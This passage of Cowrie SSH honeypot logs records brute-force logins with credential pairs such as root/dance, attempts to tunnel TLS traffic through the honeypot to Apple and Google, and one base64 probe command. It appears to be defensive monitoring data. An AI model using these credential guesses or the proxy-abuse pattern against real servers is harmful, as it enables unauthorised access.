\\xecG\\xbb\\x98\\x03j2=@A\\xf8K\\x7f\\xda4\\xfbc\\x12\\xdby\\xa5n\\xe6\\xee\\xdc\\x08\\xb9\\x87\\xd8\\xd0\\xb5\\x04\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:37:22.899689Z","src_ip":"185.156.73.233","session":"e62b16b9ea35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.30.157.36","dst_port":443,"src_ip":"185.156.73.233","src_port":52462,"message":"direct-tcp connection request to 184.30.157.36:443 from 127.0.0.1:52462","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:37:23.717325Z","session":"e62b16b9ea35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.30.157.36","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.30.157.36:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:37:25.487952Z","src_ip":"185.156.73.233","session":"e62b16b9ea35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.30.157.36","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb6c\\xfe\\xd0\\x17\\xcf\\xc5\\xd0q\\x13h\\xc7\\xb4NN\\x8f\\x87QLO1\\x95h\\t\\xc1\\xaf\\x15\\x96Rf\\x86\\x10 t}\\xe3\\xfd\\x84\\x07\\xe7\\xcci@\\xa6-\\xbf\\x15\\xa8g\\x86\\xb0\\x95\\xa1\\xc6\\xfe\\xc8R\\xe9\\x87:\\tc\\xe0\\xfe\\xd0\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 _\\xa3\\x91\\xf3\\t\\xed\\x05y\\xfa\\x1e\\xd1c\\xb0\\x16\\x0b\\xcf\\xd1\\x98\\xe4\\x0bgc\\xd3N\\xdd\\xf7H\\xca\\x93\\x1a\\xec0\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 184.30.157.36:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb6c\\xfe\\xd0\\x17\\xcf\\xc5\\xd0q\\x13h\\xc7\\xb4NN\\x8f\\x87QLO1\\x95h\\t\\xc1\\xaf\\x15\\x96Rf\\x86\\x10 t}\\xe3\\xfd\\x84\\x07\\xe7\\xcci@\\xa6-\\xbf\\x15\\xa8g\\x86\\xb0\\x95\\xa1\\xc6\\xfe\\xc8R\\xe9\\x87:\\tc\\xe0\\xfe\\xd0\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 _\\xa3\\x91\\xf3\\t\\xed\\x05y\\xfa\\x1e\\xd1c\\xb0\\x16\\x0b\\xcf\\xd1\\x98\\xe4\\x0bgc\\xd3N\\xdd\\xf7H\\xca\\x93\\x1a\\xec0\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:37:25.491675Z","src_ip":"185.156.73.233","session":"e62b16b9ea35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.150.119","dst_port":443,"src_ip":"185.156.73.233","src_port":53762,"message":"direct-tcp connection request to 142.251.150.119:443 from 127.0.0.1:53762","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:37:27.024682Z","session":"e62b16b9ea35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.150.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.150.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:37:27.674641Z","src_ip":"185.156.73.233","session":"e62b16b9ea35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.150.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\r\\x86\\xef>\\x1f\\xd0\\xd3\\xb9@\\x1a\\x0c/\\x0f\\xd7\\n'r\\x19\\xdb\\x02\\xc8\\x1f\\xdbG;\\x03\\xbcRt\\xce\\xd2\\xb5 \\xdey\\x18\\xb7\\x0fuq0\\xd4\\xd9\\x1d\\xc0\\xe9\\x0b\\xfa\\xab\\xd5\\xc9\\xf2~$\\xe2\\x96U^^\\xc3\\x1c\\xe1QZ\\x01\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 x\\xa5j<\\x90~JS\\x94^\\xe4Y\\x1ec\\x0b\\xb3u\\xcbU\\x9cC\\xa1'O\\x83\\xc8vWR\\xe7\\xba\\x0f\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.150.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\r\\x86\\xef>\\x1f\\xd0\\xd3\\xb9@\\x1a\\x0c/\\x0f\\xd7\\n'r\\x19\\xdb\\x02\\xc8\\x1f\\xdbG;\\x03\\xbcRt\\xce\\xd2\\xb5 \\xdey\\x18\\xb7\\x0fuq0\\xd4\\xd9\\x1d\\xc0\\xe9\\x0b\\xfa\\xab\\xd5\\xc9\\xf2~$\\xe2\\x96U^^\\xc3\\x1c\\xe1QZ\\x01\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 x\\xa5j<\\x90~JS\\x94^\\xe4Y\\x1ec\\x0b\\xb3u\\xcbU\\x9cC\\xa1'O\\x83\\xc8vWR\\xe7\\xba\\x0f\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:37:27.678523Z","src_ip":"185.156.73.233","session":"e62b16b9ea35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:37:28.252520Z","src_ip":"185.156.73.233","session":"e62b16b9ea35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.131.3","src_port":49058,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2788caae1a4","protocol":"ssh","message":"New connection: 209.38.131.3:49058 (159.203.135.109:22) [session: b2788caae1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:39:49.444819Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:39:49.530004Z","src_ip":"209.38.131.3","session":"b2788caae1a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":44202,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f18e2a01336","protocol":"ssh","message":"New connection: 85.198.97.85:44202 (159.203.135.109:22) [session: 3f18e2a01336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:41:41.435810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:41:41.440588Z","src_ip":"85.198.97.85","session":"3f18e2a01336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:41:41.569095Z","src_ip":"85.198.97.85","session":"3f18e2a01336","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"dance","message":"login attempt [root/dance] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:41:41.951132Z","src_ip":"85.198.97.85","session":"3f18e2a01336","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:41:42.241826Z","src_ip":"85.198.97.85","session":"3f18e2a01336","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:41:42.245249Z","src_ip":"85.198.97.85","session":"3f18e2a01336","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:41:42.376665Z","src_ip":"85.198.97.85","session":"3f18e2a01336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:41:42.382005Z","src_ip":"85.198.97.85","session":"3f18e2a01336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.131.3","src_port":50682,"dst_ip":"159.203.135.109","dst_port":22,"session":"dda24956d43e","protocol":"ssh","message":"New connection: 209.38.131.3:50682 (159.203.135.109:22) [session: dda24956d43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:43:16.433109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:43:16.436699Z","src_ip":"209.38.131.3","session":"dda24956d43e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:43:16.514823Z","src_ip":"209.38.131.3","session":"dda24956d43e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:43:16.750835Z","src_ip":"209.38.131.3","session":"dda24956d43e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:43:17.833219Z","src_ip":"209.38.131.3","session":"dda24956d43e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.146.185","src_port":46254,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a520d9e1931","protocol":"ssh","message":"New connection: 71.6.146.185:46254 (159.203.135.109:22) [session: 6a520d9e1931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:43:52.300333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_2.11.0","message":"Remote SSH version: SSH-2.0-paramiko_2.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:43:52.508642Z","src_ip":"71.6.146.185","session":"6a520d9e1931","protocol":"ssh"}
